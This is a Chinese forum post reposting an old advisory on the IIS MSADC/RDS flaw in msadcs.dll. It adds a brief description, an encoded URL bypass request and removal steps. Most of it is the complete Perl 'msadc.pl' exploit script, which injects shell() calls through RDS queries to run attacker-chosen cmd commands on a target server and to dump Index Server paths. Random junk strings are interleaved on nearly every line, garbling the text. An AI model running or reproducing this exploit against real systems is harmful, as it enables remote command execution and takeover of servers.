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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) w5jH#ja  
9QJ=?bIC#  
涉及程序: r&"}zyL  
Microsoft NT server KtHh--j`  
:c,\8n  
描述: U;Hu:q*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 HKP\`KBC j  
^BjwPh4Z#  
详细: ltt%X].[  
如果你没有时间读详细内容的话,就删除: _6qf>=qQ`"  
c:\Program Files\Common Files\System\Msadc\msadcs.dll sCaw"{5qc  
有关的安全问题就没有了。 u7@|fND 7  
8_f0P8R!y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  >0+m  
oypq3V=5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 PiI ):B>  
关于利用ODBC远程漏洞的描述,请参看: HeGGAjc  
m&,d8Gss^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xpFu$2T6P.  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 dT,X8 "  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp M O* m@  
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这里不再论述。 0$ &Z_oJ  
A3&8@/6,  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 7H[#  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset yhQo1e>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bm%2K@ /U  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" 'n4zFj+S  
a>sUq["  
#!perl &z{oVU+mA  
# @[zPN[z .  
# MSADC/RDS 'usage' (aka exploit) script ,0<|&D  
# 8XX ,(k_b  
# by rain.forest.puppy S?hM  
# XPUH\I=  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me L4.yrA-]C%  
# beta test and find errors! Yl8tjq}iC  
; {I{X}b  
use Socket; use Getopt::Std; tDEpR  
getopts("e:vd:h:XR", \%args); 3dadeu^{A  
=h&DW5QC  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; M%&`&{  
M P0ww$(  
if (!defined $args{h} && !defined $args{R}) { SL%4w<  
print qq~ H W.S~eLw*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } aH"tSgi  
-h <host> = host you want to scan (ip or domain) _3A$z A  
-d <seconds> = delay between calls, default 1 second B HZGQm  
-X = dump Index Server path table, if available ^N Et{]x  
-v = verbose Z`b,0[rG[  
-e = external dictionary file for step 5 XZp(Po:H  
(O&~*7D*  
Or a -R will resume a command session pPQ]#v  
=\X<UA}  
~; exit;} RG*Nw6A  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,Hys9I  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} dP)8T  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} j nI)n*  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); A|RAMO@le  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} |C>Yd*E,C  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Mv4JF(,S  
rX;(48Y  
if (!defined $args{R}){ $ret = &has_msadc; y"@~5e477$  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} K3 ]hUe#  
N SHlo*)}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ZP%^.wxC  
. "cmd /c "; ?r'b Z~  
$in=<STDIN>; chomp $in; LgUaX  
$command="cmd /c " . $in ; krz@1[w-j  
$ P#k|A  
if (defined $args{R}) {&load; exit;} n4Q!lJ  
Ap}:^k5{  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 1/le%}mK  
&try_btcustmr; 83TN6gW  
NO* 1km[#  
print "\nStep 2: Trying to make our own DSN..."; 1Ll@ ocE  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 3QV|@5L`[  
"me J n/  
print "\nStep 3: Trying known DSNs..."; -QZped;?*  
&known_dsn; KY|Q#i|pM  
.4KXe"~E  
print "\nStep 4: Trying known .mdbs..."; Q`19YX  
&known_mdb; 8swj'SjX  
5,?9#n\E,  
if (defined $args{e}){ H3a}`3}U  
print "\nStep 5: Trying dictionary of DSN names..."; w,`x(!&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [IV8  
)*s.AFu]7x  
print "Sorry Charley...maybe next time?\n"; 7J>n;8{%?  
exit; FirmzB Il5  
rvr Ok  
############################################################################## \W1?Qc1]  
EzG7RjW  
sub sendraw { # ripped and modded from whisker WfO6Fvx%  
sleep($delay); # it's a DoS on the server! At least on mine... bR ;H@Fdg?  
my ($pstr)=@_; z@iY(;Qo  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || VK ?,8Y  
die("Socket problems\n"); yiI&>J))  
if(connect(S,pack "SnA4x8",2,80,$target)){ vQIoj31  
select(S); $|=1; TR: D  
print $pstr; my @in=<S>; Gm>8= =c  
select(STDOUT); close(S); WVwNjQ2PM  
return @in; u4.-AY {  
} else { die("Can't connect...\n"); }} NO9Jre  
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############################################################################## "t\rjFw  
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sub make_header { # make the HTTP request fNB*o={r|  
my $msadc=<<EOT \h #vL  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 M}@^8  
User-Agent: ACTIVEDATA ~'T]B{.+J  
Host: $ip L {5zA5#m  
Content-Length: $clen i>e75`9  
Connection: Keep-Alive A?6b)B/e?  
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ADCClientVersion:01.06 |4-Ey! P  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1>|p1YZ"  
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--!ADM!ROX!YOUR!WORLD! 1S_ KX.  
Content-Type: application/x-varg >xH3*0 Lp  
Content-Length: $reqlen !5=3Y4bg1  
$'[( DwLS  
EOT y0=BL  
; $msadc=~s/\n/\r\n/g; I s88+,O  
return $msadc;} w@oq.K  
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############################################################################## VY![VnHsB  
Vuz!~kLYIn  
sub make_req { # make the RDS request orL7y&w(v:  
my ($switch, $p1, $p2)=@_; uHwuw_eK`  
my $req=""; my $t1, $t2, $query, $dsn; \3Xt\1qN4  
l sUQ7%f  
if ($switch==1){ # this is the btcustmr.mdb query E2dSOZS:)%  
$query="Select * from Customers where City=" . make_shell(); Q>z0?%B  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . wV(_=LF  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} U(i2j)|^I3  
-8TJ~t%w4  
elsif ($switch==2){ # this is general make table query j&#p&`B  
$query="create table AZZ (B int, C varchar(10))"; 5F0sfX  
$dsn="$p1";} Wc+ e>*  
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elsif ($switch==3){ # this is general exploit table query NP|U |zn  
$query="select * from AZZ where C=" . make_shell(); B|!YGf L  
$dsn="$p1";} iF`E> %#  
`Y+p7*Qr2  
elsif ($switch==4){ # attempt to hork file info from index server UkeW2l`:  
$query="select path from scope()"; [%bshaY:  
$dsn="Provider=MSIDXS;";} ?{^T&<18t  
Be}Cj(C  
elsif ($switch==5){ # bad query &uk?1Z#j  
$query="select"; 7e u7ie6  
$dsn="$p1";} hS<x+|'l  
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$t1= make_unicode($query); I-+D+DhRx  
$t2= make_unicode($dsn); Le_?x  
$req = "\x02\x00\x03\x00"; m~X:KwK4  
$req.= "\x08\x00" . pack ("S1", length($t1)); ,9q5jOnk  
$req.= "\x00\x00" . $t1 ; }.e*=/"MB  
$req.= "\x08\x00" . pack ("S1", length($t2)); {L.0jAwB  
$req.= "\x00\x00" . $t2 ; -<CBxyZa&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; JqFFI:Q5a  
return $req;} < v0 d8  
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############################################################################## q}+9$v  
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sub make_shell { # this makes the shell() statement !o> /gI`  
return "'|shell(\"$command\")|'";} %Wu3$b  
zJtYy4jI)  
############################################################################## ~EdmVEu  
_L&C4 <e'  
sub make_unicode { # quick little function to convert to unicode =Ermh7,  
my ($in)=@_; my $out; \}G/F!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } z^=9%tLJ  
return $out;} wYS4#7  
-_A0<A.  
############################################################################## K{"(|~=U  
|?{Zx&yUw  
sub rdo_success { # checks for RDO return success (this is kludge) /|hKZTZJdN  
my (@in) = @_; my $base=content_start(@in); Q- j+#NGc  
if($in[$base]=~/multipart\/mixed/){ V"\t  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} h.G/HHz  
return 0;} Ns&SZO  
* 496"kU  
############################################################################## Q<Utwk?nL  
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sub make_dsn { # this makes a DSN for us LLV:E{`p  
my @drives=("c","d","e","f"); F&I^bkvh  
print "\nMaking DSN: "; 6fQQKM@a|  
foreach $drive (@drives) { QnVYZUgJeV  
print "$drive: ";  xUzfBn  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . E+F!u5u  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bi[vs|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \*a7DuVw  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; p \F*Y,4  
return 0 if $2 eq "404"; # not found/doesn't exist Tig`4d-%  
if($2 eq "200") { wVV'9pw}  
foreach $line (@results) { Oz]iHe  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} #t po@pJsE  
} return 0;} rS8/_'  
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############################################################################## _Su$oOy(Ea  
sDw&U?gUv  
sub verify_exists { ]KLj Qpd  
my ($page)=@_; ^Jsx^?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); q>o1kTI  
return $results[0];} 0ir]  
l<! ?`V6}  
############################################################################## >>F E?@  
b&s"x? 7  
sub try_btcustmr { 7_ZfV? .  
my @drives=("c","d","e","f"); 8v5cQ5Lc  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $yLsuqB}  
5fDVJE "9"  
foreach $dir (@dirs) { b~WiE?  
print "$dir -> "; # fun status so you can see progress 2LEf"FH0~  
foreach $drive (@drives) { mfg{% .1  
print "$drive: "; # ditto %F]4)XeW-+  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; DO8@/W( `  
$reqlenlen=length( "$reqlen" ); &X }GJLC3  
$clen= 206 + $reqlenlen + $reqlen; O#sDZ.EL  
Qis[j-?:  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); CcG{+-= H)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} :Fm;0R@/k  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Q+ $+{g-8  
;r B2Q H]  
############################################################################## PsjSL8]  
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sub odbc_error { s["8QCd"r  
my (@in)=@_; my $base; a;r,*zZ="  
my $base = content_start(@in); Mxc0=I'a  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this LK-2e$1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; { r yv7G  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F\^9=}b_i  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A9`& Wnw?  
return $in[$base+4].$in[$base+5].$in[$base+6];} 5 <X.1 T1  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; wrSw>sE"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \vjIw{   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *9Ej fs7L  
p2cwW/^V  
############################################################################## 3MPmLV#f  
=]X_wA;%  
sub verbose { qRlS^=#  
my ($in)=@_; h mC. 5mY  
return if !$verbose; i|?EgGFG  
print STDOUT "\n$in\n";} !YYI{BJ7:N  
,l+lokD-#  
############################################################################## 5 Sm9m*/  
Q"itV&d,  
sub save { 2#%@j6  
my ($p1, $p2, $p3, $p4)=@_; k]K][[s`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2_k2t ?   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9ozN$:  
close OUT;} -9W)|toWb"  
P_6JweN  
############################################################################## %xv }  
@#m@ .   
sub load { `>'%!E9G  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .nh }f}j  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); i286 J.  
@p=<IN>; close(IN); k;BXt:jDq  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Y=0D[o8  
$target= inet_aton($ip) || die("inet_aton problems"); \zOo[/-<  
print "Resuming to $ip ..."; LGu K@^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; mcO/V-\5'  
if($p[1]==1) { p8gm=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; SWwL.-+E]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +h*-9  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); fib#)KE  
if (rdo_success(@results)){print "Success!\n";} m ^?a/  
else { print "failed\n"; verbose(odbc_error(@results));}} A<$~Q;r2a  
elsif ($p[1]==3){ P)D2PVD  
if(run_query("$p[3]")){ b~oQhU??"  
print "Success!\n";} else { print "failed\n"; }} Uphme8SX  
elsif ($p[1]==4){ ' tyblj C  
if(run_query($drvst . "$p[3]")){ K3g<NC  
print "Success!\n"; } else { print "failed\n"; }} 4gKu8G  
exit;} =Pj+^+UM  
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############################################################################## +q<G%PwbV  
bn*SLWWQ.3  
sub create_table { *.F^`]yz  
my ($in)=@_; SHcFnxEAIH  
$reqlen=length( make_req(2,$in,"") ) - 28; "2m (*+  
$reqlenlen=length( "$reqlen" ); VA D9mS^~  
$clen= 206 + $reqlenlen + $reqlen; E!Ljq3iT`  
my @results=sendraw(make_header() . make_req(2,$in,"")); mc FSWmq  
return 1 if rdo_success(@results); ~9ZW~z'  
my $temp= odbc_error(@results); verbose($temp); \mo NpKf  
return 1 if $temp=~/Table 'AZZ' already exists/; 'GyO  
return 0;} AT{rg/oSf  
Z(h.)$yH*=  
############################################################################## uE'O}Y95  
<y`M Upf]  
sub known_dsn { m.6O%jD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go &hnI0m=X  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a*kvU"]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", v w  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }w_r(g?\  
ojva~mnFf  
foreach $dSn (@dsns) { :@~W$f\y  
print "."; #Ch*a.tI@  
next if (!is_access("DSN=$dSn")); {3LAK[ C  
if(create_table("DSN=$dSn")){ K HO@"+  
print "$dSn successful\n"; )hy(0 D  
if(run_query("DSN=$dSn")){ y&&%%3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T1~G {@"  
print "Something's borked. Use verbose next time\n";}}} print "\n";} iZ( U]  
zBjtPtiiI8  
############################################################################## ;udV"7C  
`m")v0n3  
sub is_access { my]t[%Q{  
my ($in)=@_; ,wYA_1$$H  
$reqlen=length( make_req(5,$in,"") ) - 28; b0| ;v-v  
$reqlenlen=length( "$reqlen" ); $p;<1+!  
$clen= 206 + $reqlenlen + $reqlen; g15~+;33N  
my @results=sendraw(make_header() . make_req(5,$in,"")); e0z(l/UB  
my $temp= odbc_error(@results); (~IoRhp^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); CqVeR';2  
return 0;} DQI b57j  
_c$F?9:  
############################################################################## h1 npaD!  
A)%!9i)  
sub run_query { p6c&vEsNj  
my ($in)=@_; rNN ,!  
$reqlen=length( make_req(3,$in,"") ) - 28; mDdL7I  
$reqlenlen=length( "$reqlen" ); 5Y4#aq  
$clen= 206 + $reqlenlen + $reqlen; 2 r';)8:  
my @results=sendraw(make_header() . make_req(3,$in,"")); 4Q17vCC*n  
return 1 if rdo_success(@results); g-LMct8$  
my $temp= odbc_error(@results); verbose($temp); k-!Jww  
return 0;} BqtUL_jm  
8= "01  
############################################################################## vdaG?+_o  
y2M]z:Y U  
sub known_mdb { wTe 9OFv  
my @drives=("c","d","e","f","g"); Ud& '*,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S;K5JBX0#  
my $dir, $drive, $mdb; 34F;mr"yp  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5ktFL<^5T  
kyH0J[/n  
# this is sparse, because I don't know of many )}$]~ f4R  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -P:o ^_)g  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", g#%Egb1  
"\\system32\\certmdb.mdb", 85:KlBe%+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% po@Agyg5  
"lRxatM  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 8J)Kn4jq  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7 -S?U~s  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,4HZ-|EOZ  
"\\cfusion\\cfapps\\security\\realm_.mdb", d6e$'w@(\T  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", | Di7 ,$c  
"\\cfusion\\database\\cfexamples.mdb", 5p]V/<r  
"\\cfusion\\database\\cfsnippets.mdb", tx7B?/5D  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 37 b6w6{D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 0uu)0:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7/zaf  
"\\cfusion\\database\\smpolicy.mdb", l4gZHMh'  
"\\cfusion\\database\cypress.mdb", m.68ctaa  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Ou`;HN;[  
"\\website\\cgi-win\\dbsample.mdb", "&C>=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 88KQ) NU  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 9]vy#a#  
); #these are just Y|6gg  
foreach $drive (@drives) { H`s[=Y,m  
foreach $dir (@dirs){ 4\E1M[6  
foreach $mdb (@sysmdbs) { }5AA}=  
print "."; op($+Q  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 7J1f$5$m5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =I0J1Ob  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ biG :Xn  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; sI MN""@Y^  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \}J"`J\Q  
D63?f\  
foreach $drive (@drives) { M8R/a[ -A  
foreach $mdb (@mdbs) { udS&$/&GH  
print "."; 67Ev$a_d"  
if(create_table($drv . $drive . $dir . $mdb)){  7LB%7~{<  
print "\n" . $drive . $dir . $mdb . " successful\n"; &b'{3o_KN  
if(run_query($drv . $drive . $dir . $mdb)){ ~ike&k{  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; V 4&a+MJ@  
} else { print "Something's borked. Use verbose next time\n"; }}}} hka%!W5  
} nErr&{C  
:31?Z(fQ  
############################################################################## Zrzv';  
}USOWsLSt  
sub hork_idx { "xNP"S  
print "\nAttempting to dump Index Server tables...\n"; {e1sq^>|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; rk47 $36X  
$reqlen=length( make_req(4,"","") ) - 28; T 0qM "  
$reqlenlen=length( "$reqlen" ); X|yVRQ?F`  
$clen= 206 + $reqlenlen + $reqlen; r$<M*z5q(\  
my @results=sendraw2(make_header() . make_req(4,"","")); dsOt(yNo  
if (rdo_success(@results)){ ;oO_5[,M  
my $max=@results; my $c; my %d; >S8 n 8U  
for($c=19; $c<$max; $c++){ =b8u8*ua  
$results[$c]=~s/\x00//g; [{>3"XJ'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; T7-yZSw -m  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; R?y_tho4A  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; sm{/S*3  
$d{"$1$2"}="";} E.*gKfL  
foreach $c (keys %d){ print "$c\n"; } x=-(p}0o;<  
} else {print "Index server doesn't seem to be installed.\n"; }} >*uj )u%  
mi1^hl'2  
############################################################################## 7j HrLsB  
%<r}V<OeR  
sub dsn_dict { I%($,kd}s  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); b|*+!v:I>T  
while(<IN>){ Xpv<v[a  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; hUX8j9N>  
next if (!is_access("DSN=$dSn")); 7H|0.  
if(create_table("DSN=$dSn")){ \qTp#sF  
print "$dSn successful\n"; KdD~;Ap$  
if(run_query("DSN=$dSn")){ Q`{Vs:8X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { n]7rHV}G  
print "Something's borked. Use verbose next time\n";}}} @ 'c(q=K;  
print "\n"; close(IN);} !E|R3e X_  
2 6 >9$S  
############################################################################## JpZ_cb`<E'  
x iz+ R9p  
sub sendraw2 { # ripped and modded from whisker C,%Dp0  
sleep($delay); # it's a DoS on the server! At least on mine... cP4C<UG  
my ($pstr)=@_; @$Yk#N;&(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !Pt4\  
die("Socket problems\n"); ]1eZ<le`6  
if(connect(S,pack "SnA4x8",2,80,$target)){ _ nz^+  
print "Connected. Getting data"; \t`VqJLyu  
open(OUT,">raw.out"); my @in; atW^^4 :  
select(S); $|=1; print $pstr; %_!0V*X*  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -[&Z{1A4x4  
close(OUT); select(STDOUT); close(S); return @in; )T?BO  
} else { die("Can't connect...\n"); }} .Wr7*J[V.  
-m[ tYp,q  
############################################################################## ,L<x=Dg  
& P%#  
sub content_start { # this will take in the server headers bKsEXS  
my (@in)=@_; my $c; (/Jy9 =~  
for ($c=1;$c<500;$c++) { x>,wmk5)  
if($in[$c] =~/^\x0d\x0a/){ dcTZL$  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .gN ziDO  
else { return $c+1; }}} F>^KXq:Z  
return -1;} # it should never get here actually 3sIdwY)ZS_  
MmU`i ,z  
############################################################################## }eI9me@Aa  
!)CY\c4}d>  
sub funky { vO53?vN[m9  
my (@in)=@_; my $error=odbc_error(@in); ]Nw ]po+  
if($error=~/ADO could not find the specified provider/){ "=KFag  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; pAq PHD=  
exit;} wDSwcNS  
if($error=~/A Handler is required/){ xls US'Eo  
print "\nServer has custom handler filters (they most likely are patched)\n"; XR p60i6f  
exit;} +?*.Emzl@  
if($error=~/specified Handler has denied Access/){ [Jjo H1E@  
print "\nServer has custom handler filters (they most likely are patched)\n"; t/%[U,m  
exit;}} @[`]w`9Q7  
PMX'vA`  
############################################################################## 9b&;4Yq!f  
.wTb/x  
sub has_msadc { 6 {F#_.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7q 5 \]J[  
my $base=content_start(@results); I>w|80%%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); a+CJJ3T-  
return 0;} ?B)e8i<[f  
^vv 1cft  
######################## p%X.$0  
=h?%<2t9<  
j~=<O<P  
解决方案: nB[B FVkU  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll JlawkA  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 :xO43z  
_`laP5~  
拿出来充数 哈哈
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